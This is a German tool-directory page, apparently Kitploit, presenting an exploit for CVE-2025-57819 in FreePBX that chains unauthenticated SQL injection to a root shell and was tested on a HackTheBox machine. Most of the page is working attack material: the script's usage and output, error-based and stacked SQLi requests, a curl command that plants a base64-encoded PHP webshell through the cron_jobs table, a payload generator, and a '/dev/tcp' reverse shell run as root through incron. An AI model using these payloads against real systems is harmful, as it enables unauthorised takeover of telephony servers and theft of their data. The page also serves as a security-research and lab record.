Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FreePBX-CVE-2025-57819 — Unauthenticated SQL Injection to Remote Code Execution in FreePBX — CVE-2025-57819 | Kitploit
Tools/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubyuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

Unauthenticated SQL Injection to Remote Code Execution in FreePBX — CVE-2025-57819

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

FreePBX CVE-2025-57819 — Nicht authentifizierte SQLi zu Root-RCE

Schweregrad: Critical
Typ: Nicht authentifizierte SQL Injection → Remote-Codeausführung
Betroffene Software: FreePBX (endpoint-Modul)
Getestet auf: FreePBX on CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5

Übersicht

In der FreePBX-endpoint-Modul existiert eine nicht authentifizierte SQL-Injection-Schwachstelle über den Parameter brand in /admin/ajax.php. Es sind keine Anmeldeinformationen erforderlich, um diese Schwachstelle auszunutzen.

In Kombination mit dem internen Cron-Job-Mechanismus von FreePBX und dem incron/fwconsole-Hook-System führt dies zu einer vollständigen nicht authentifizierten Root-Shell.

Angriffskette

root@kitploit:~
[No Auth Required]
        │
        ▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
        │
        ├──► Extract DB credentials, user hashes
        │
        ├──► INSERT into cron_jobs
        │         │
        │         └──► PHP webshell dropped in web root
        │                   │
        │                   └──► RCE as asterisk (user flag)
        │
        └──► Write incron trigger file (as asterisk)
                  │
                  └──► sysadmin_manager fires as root
                            │
                            └──► fwconsole hook → Root Shell

Verwendung

root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

Beispiel:

root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

Ausgabe:

root@kitploit:~
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version  : 5.5.65-MariaDB
[+] DB User  : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!

Funktionsweise

Stufe 1 — SQL-Injection

Der Parameter brand im AJAX-Handler des Endpunktmoduls wird ohne Bereinigung direkt in eine SQL-Abfrage übergeben:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Dies gibt den Datenbanknamen in einem XPATH-Fehler zurück – eine klassische fehlerbasierte SQLi-Technik. Gestapelte Abfragen werden ebenfalls unterstützt, sodass INSERT-, UPDATE- und DELETE-Operationen möglich sind.

Stufe 2 — Webshell via Cron

Mithilfe von gestapelten Abfragen wird ein Cron-Job in FreePBXs cron_jobs-Tabelle eingefügt:

root@kitploit:~
INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

FreePBXs Cron-Ausführer führt dies jede Minute aus und legt eine PHP-Webshell im Web-Root ab.

Stufe 3 — Root via Incron + fwconsole-Hook

incrond überwacht /var/spool/asterisk/incron/ (beschreibbar durch den Benutzer asterisk). Wenn dort eine Datei erstellt wird, löst es /usr/bin/sysadmin_manager als root aus.

Das Dateinamenformat api.fwconsole-commands.<payload> verweist auf einen bereits vorhandenen GPG-signierten Hook unter:

root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands

Der Hook dekodiert den Dateinamen als base64(zlib(json([cmd, txn_id])))-Payload und führt Folgendes aus:

root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";

Die Verwendung von help; als Präfix erfüllt fwconsole als gültigen Befehl, und das ; verkettet beliebige Shell-Befehle:

root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Dies wird als root ausgeführt und gibt eine vollständige Root-Shell.

Manuelle Ausnutzung

Schritt 1 — SQLi überprüfen

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

Schritt 2 — Webshell ablegen

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

Schritt 3 — Root-Payload generieren

root@kitploit:~
# Zur Vermeidung von Shell-Zitierungsproblemen in Datei speichern
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

Schritt 4 — Root-Shell auslösen

root@kitploit:~
# Auf dem Ziel (als asterisk über Webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

Wichtige Erkenntnisse während der Analyse

Offenlegungszeitplan

DatumEreignis
2025Schwachstelle entdeckt und gemeldet
2025-11-30Box auf HackTheBox bereitgestellt
2025CVE-2025-57819 zugewiesen

Haftungsausschluss

Dieses Tool dient zu Bildungszwecken und autorisierten Sicherheitstests. Verwenden Sie es nicht gegen Systeme, für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch.

Referenzen

  • watchTowr Labs PoC
  • FreePBX Security Advisory
  • CVE-2025-57819 Detail
Tool herunterladen
FundDetail
Datenbankasterisk (MariaDB 5.5.65)
DB-Benutzerfreepbxuser@localhost
Web-Benutzerasterisk (uid=999)
Cron-Tabelleüber SQLi beschreibbar
Incron-Verzeichnis/var/spool/asterisk/incron/ (von asterisk beschreibbar)
Privilegieneskalationfwconsole-Hook läuft als root über incrond
Root-MethodeIncron-Trigger → signierter fwconsole-Hook → Befehlseinschleusung